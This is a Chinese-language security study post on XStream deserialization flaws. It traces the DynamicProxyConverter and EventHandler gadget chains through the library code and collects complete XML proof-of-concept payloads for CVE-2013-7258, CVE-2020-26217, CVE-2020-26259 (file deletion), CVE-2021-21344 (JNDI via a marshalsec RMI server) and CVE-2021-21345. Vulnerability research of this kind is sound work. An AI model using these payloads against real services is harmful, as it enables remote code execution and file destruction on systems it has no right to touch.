XStream介绍
XStream是一个简单的基于Java库,能够将Java对象和xml文档之间进行相互转换
反序列化原因
XStream实现了一套序列化和反序列化机制,核心是通过Converter转换器来将XML和对象之间进行相互的转换。
XStream反序列化漏洞的存在是因为XStream支持一个名为DynamicProxyConverter的转换器,该转换器可以将XML中dynamic-proxy标签内容转换成动态代理类对象,而当程序调用了dynamic-proxy标签内的interface标签指向的接口类声明的方法时,就会通过动态代理机制代理访问dynamic-proxy标签内handler标签指定的类方法;
利用这个机制,攻击者可以构造恶意的XML内容,即dynamic-proxy标签内的handler标签指向如EventHandler类这种可实现任意函数反射调用的恶意类、interface标签指向目标程序必然会调用的接口类方法;最后当攻击者从外部输入该恶意XML内容后即可触发反序列化漏洞、达到任意代码执行的目的。
相关类介绍
EventHandler类
EventHandler是一个实现了InvocationHandler接口的类,设计本意是为交互工具提供beans,建立从用户界面到应用程序逻辑的连接
EventHandler的类中有target和action属性,在EventHandler.invoke()->EventHandler.invokeInternal()->MethodUtil.invoke()的函数调用链中,会将这两个属性作为类方法和参数继续反射调用
Converter转换器
XStream为Java常见的类型提供了Converter转换器。转换器注册中心是XStream组成的核心部分。
我看y4师傅的文章中说转换器需要实现三个方法:
- canConvert方法:告诉XStream对象,它能够转换的对象;
- marshal方法:能够将对象转换为XML时候的具体操作;
- unmarshal方法:能够将XML转换为对象时的具体操作;
但我在1.4.10版本中只需要实现两种方法即可
XStream的api文档:http://x-stream.github.io/converters.html
基本使用
使用一下看看转换出来的xml长什么样
package org.example.Attack;
public class Student { private int age; private String name;
public Student(){} public Student(int age, String name) { this.age = age; this.name = name; }
@Override public String toString() { return "Student{" + "age=" + age + ", name='" + name + '\'' + '}'; }
public int getAge() { return age; }
public void setAge(int age) { this.age = age; }
public String getName() { return name; }
public void setName(String name) { this.name = name; } }
|
package org.example.Attack;
import com.thoughtworks.xstream.XStream;
public class Demo { public static void main(String[] args) { XStream xStream = new XStream(); Student clown = new Student(150, "clown"); String xml = xStream.toXML(clown); System.out.println(xml); } }
|
结果
<org.example.Attack.Student> <age>150</age> <name>clown</name> </org.example.Attack.Student>
|
利用链分析
这里就分析几个利用链,因为XStream的cve比较多,而且适用的版本也不一样,就跟着y4师傅分析其文章中的两个利用链
转化xml的demo
public class Test { public static void main(String[] args) throws Exception{ FileInputStream fileInputStream = new FileInputStream("payload.txt"); XStream xStream = new XStream(new DomDriver()); xStream.fromXML(fileInputStream); } }
|
sorted-set
这是一个CVE-2013-7258远程代码执行漏洞
影响版本
1.4.5,1.4.6或1.4.10,我这里用1.4.10版本来实验
payload
<sorted-set> <dynamic-proxy> <interface>java.lang.Comparable</interface> <handler class="java.beans.EventHandler"> <target class="java.lang.ProcessBuilder"> <command> <string>calc</string> </command> </target> <action>start</action> </handler> </dynamic-proxy> </sorted-set>
|
流程分析
我们可以从报错的调用栈中开始入手分析,能看出其大致的调用链流程
其在AbstractTreeMarshallingStrategy#unmarshal调用了TreeUnmarshaller#start方法,从这里开始解析xml内容
这里会调用HierarchicalStreams#readClassType()来获取到PoC XML中根标签的类类型
紧接着一路往下跟进
其最终在com.thoughtworks.xstream.mapper.ClassAliasingMapper#realClass中找到了SortedSet类名,nameToType是一个hashMap类型变量
回到前面,这里拿到type之后就去调用convertAnother方法来对返回的type进行类型转化
该方法内部就涉及到convertor转换器的使用,跟进去看看
其中调用mapper.defaultImplementationOf()函数来寻找java.util.SortedSet类型的默认实现类型进行替换,这里转换为了java.util.TreeSet类型
然后就是调用converterLookup.lookupConverterForType方法来寻找TreeSet对应的类型转换器
该方法里面就是获取迭代器对象,然后找到TreeSet对应的类型转化器就返回
返回之后就是调用convert进行类型转换,调用到AbstractReferenceUnmarshaller#convert方法
会跳过前面的if-else判断,最后进到else里面,调用getCurrentReferenceKey()来获取当前的Reference键即标签名,接着将当前标签名压入parentStack栈中,key的结构如下
然后调用其父类的convert方法,在里面push到FastStack的堆栈中
然后就是调用TreeSetConvert的unmarshal方法,继续跟进到一个填充treeMap的TreeMapConverter#populateTreeMap方法
这里先判断是否是第一个元素,是的话就调用putCurrentEntryIntoMap()函数,即将当前内容填充到Map中
里面调用readItem()函数读取标签内的内容并缓存到target这个Map中,跟进去直到com.thoughtworks.xstream.mapper.CachingMapper#realClass
这里就会去寻找dynamic-proxy所对应的类,一路跟进,其寻找的流程和前面的类似
最后是找到了DynamicProxy这个类
然后回到readItem方法
获取到type之后,就去调用convertAnother方法,和前面一样去找类型转换器
之后也是差不多的流程,一直到下面这个关键的地方,com.thoughtworks.xstream.converters.extended.DynamicProxyConverter#unmarshal方法内部
这里按标签内容生成对应接口的动态代理,此时这个DUMMY是一个空的代理实现
继续往下执行handler = (InvocationHandler)context.convertAnother(proxy, handlerType);
然后又是调用相关转换器最终得到EventHandler
然后后面又是循环得读取标签获取对应得类和内容
回到前面获取handler的地方,再往下就是替换代理
然后再回到前面的TreeMapConverter#populateTreeMap,这里会把结果把存到result
这里的result就是TreeMap,然后里面就会触发我们的动态代理方法了
因为我们的xml配置代理的接口是Comparable,然后TreeMap在调用putAll方法的时候,会调用到put方法,而里面调用了compare方法
最终就会走到EventHandler#invokeInternal方法里面,然后反射调用ProcessBuilder的start方法触发命令执行
其他说明
在小于等于1.3.1版本,运行报错显示TreeMap没有包含comparator元素,即不支持PoC中两个子标签元素调用compareTo()进行比较,因此无法利用
1.4.1-1.4.4无法触发的原因
在TreeSetConverter.unmarshal()中,只有当sortedMapField和treeMap不为null时,才能进入populateTreeMap()
而1.4.1-1.4.4版本中,sortedMapField默认为null
1.4.7-1.4.9无法触发的原因
ReflectionConverter.canConvert()函数中添加了对EventHandler类的过滤
tree-map
影响版本
版本<=1.4.6或=1.4.10
payload
<tree-map> <entry> <dynamic-proxy> <interface>java.lang.Comparable</interface> <handler class="java.beans.EventHandler"> <target class="java.lang.ProcessBuilder"> <command> <string>calc</string> </command> </target> <action>start</action> </handler> </dynamic-proxy> <string>good</string> </entry> </tree-map>
|
流程说明
这里其实就和sorted的过程是差不多的,就不做过多的分析了
他和sorted-set的区别就是在TreeMapConverter#unmarshal的地方
可以看到没有TreeSetConverter那么多的限制
主要还是记一下payload以及使用版本,以及后面也是只收集一些CVE的payload
其他说明
在<=1.3.1版本
会报错显示TreeMap没有包含comparator元素,即不支持PoC中两个子标签元素调用compareTo()进行比较,因此无法利用,与sorted-set原因一样
1.4.7-1.4.9版本
ReflectionConverter.canConvert()函数中添加了对EventHandler类的过滤
payload收集
CVE-2020-26217远程代码执行漏洞
影响版本<=1.4.13
poc
<map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'> <dataHandler> <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'> <contentType>text/plain</contentType> <is class='java.io.SequenceInputStream'> <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'> <iterator class='javax.imageio.spi.FilterIterator'> <iter class='java.util.ArrayList$Itr'> <cursor>0</cursor> <lastRet>-1</lastRet> <expectedModCount>1</expectedModCount> <outer-class> <java.lang.ProcessBuilder> <command> <string>calc</string> </command> </java.lang.ProcessBuilder> </outer-class> </iter> <filter class='javax.imageio.ImageIO$ContainsFilter'> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>start</name> </filter> <next/> </iterator> <type>KEYS</type> </e> <in class='java.io.ByteArrayInputStream'> <buf></buf> <pos>0</pos> <mark>0</mark> <count>0</count> </in> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <string>test</string> </entry> </map>
|
CVE-2020-26259任意文件删除漏洞
影响版本<1.4.14
poc
<map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'> <dataHandler> <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'> <contentType>text/plain</contentType> <is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'> <tempFile>test.txt</tempFile> </is> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <string>test</string> </entry> </map>
|
创建一个txt在项目根目录
然后成功删除
CVE-2021-21344远程代码执行漏洞
poc
<java.util.PriorityQueue serialization='custom'> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'> <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'> <packet> <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'> <dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'> <bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'> <bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'> <bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'> <jaxbType>com.sun.rowset.JdbcRowSetImpl</jaxbType> <uriProperties/> <attributeProperties/> <inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'> <getter> <class>com.sun.rowset.JdbcRowSetImpl</class> <name>getDatabaseMetaData</name> <parameter-types/> </getter> </inheritedAttWildcard> </bi> <tagName/> <context> <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'> <outer-class reference='../..'/> </marshallerPool> <nameList> <nsUriCannotBeDefaulted> <boolean>true</boolean> </nsUriCannotBeDefaulted> <namespaceURIs> <string>1</string> </namespaceURIs> <localNames> <string>UTF-8</string> </localNames> </nameList> </context> </bridge> </bridge> <jaxbObject class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'> <javax.sql.rowset.BaseRowSet> <default> <concurrency>1008</concurrency> <escapeProcessing>true</escapeProcessing> <fetchDir>1000</fetchDir> <fetchSize>0</fetchSize> <isolation>2</isolation> <maxFieldSize>0</maxFieldSize> <maxRows>0</maxRows> <queryTimeout>0</queryTimeout> <readOnly>true</readOnly> <rowSetType>1004</rowSetType> <showDeleted>false</showDeleted> <dataSource>rmi://127.0.0.1:1099/exp</dataSource> <params/> </default> </javax.sql.rowset.BaseRowSet> <com.sun.rowset.JdbcRowSetImpl> <default> <iMatchColumns> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> </iMatchColumns> <strMatchColumns> <string>foo</string> <null/> <null/> <null/> <null/> <null/> <null/> <null/> <null/> <null/> </strMatchColumns> </default> </com.sun.rowset.JdbcRowSetImpl> </jaxbObject> </dataSource> </message> <satellites/> <invocationProperties/> </packet> </indexMap> </comparator> </default> <int>3</int> <string>javax.xml.ws.binding.attachments.inbound</string> <string>javax.xml.ws.binding.attachments.inbound</string> </java.util.PriorityQueue> </java.util.PriorityQueue>
|
这里打的是jndi注入
那我们就需要起一个恶意的rmi服务,这里用marshalsec来起服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8888/#exp
|
web服务下有一个计算器的exp.class
CVE-2021-21345远程代码执行漏洞
影响版本<=1.4.15
poc
<java.util.PriorityQueue serialization='custom'> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'> <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'> <packet> <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'> <dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'> <bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'> <bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'> <bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'> <jaxbType>com.sun.corba.se.impl.activation.ServerTableEntry</jaxbType> <uriProperties/> <attributeProperties/> <inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'> <getter> <class>com.sun.corba.se.impl.activation.ServerTableEntry</class> <name>verify</name> <parameter-types/> </getter> </inheritedAttWildcard> </bi> <tagName/> <context> <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'> <outer-class reference='../..'/> </marshallerPool> <nameList> <nsUriCannotBeDefaulted> <boolean>true</boolean> </nsUriCannotBeDefaulted> <namespaceURIs> <string>1</string> </namespaceURIs> <localNames> <string>UTF-8</string> </localNames> </nameList> </context> </bridge> </bridge> <jaxbObject class='com.sun.corba.se.impl.activation.ServerTableEntry'> <activationCmd>calc</activationCmd> </jaxbObject> </dataSource> </message> <satellites/> <invocationProperties/> </packet> </indexMap> </comparator> </default> <int>3</int> <string>javax.xml.ws.binding.attachments.inbound</string> <string>javax.xml.ws.binding.attachments.inbound</string> </java.util.PriorityQueue> </java.util.PriorityQueue>
|
参考
https://y4tacker.github.io/2022/02/10/year/2022/2/XStream%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96
https://xz.aliyun.com/t/11372?u_atoken=d255e03184aefd4a575a1a82fa1faa70&u_asig=1a0c399d17307034326662515e00b6&time__1311=n4%2Bxyie7wxg0GODlxGrzGWwxYqGKG8AlD0O%2BiD
后面版本的修复都是黑白名单的形式来修复,这篇文章总结的更加详细:https://tttang.com/archive/1699/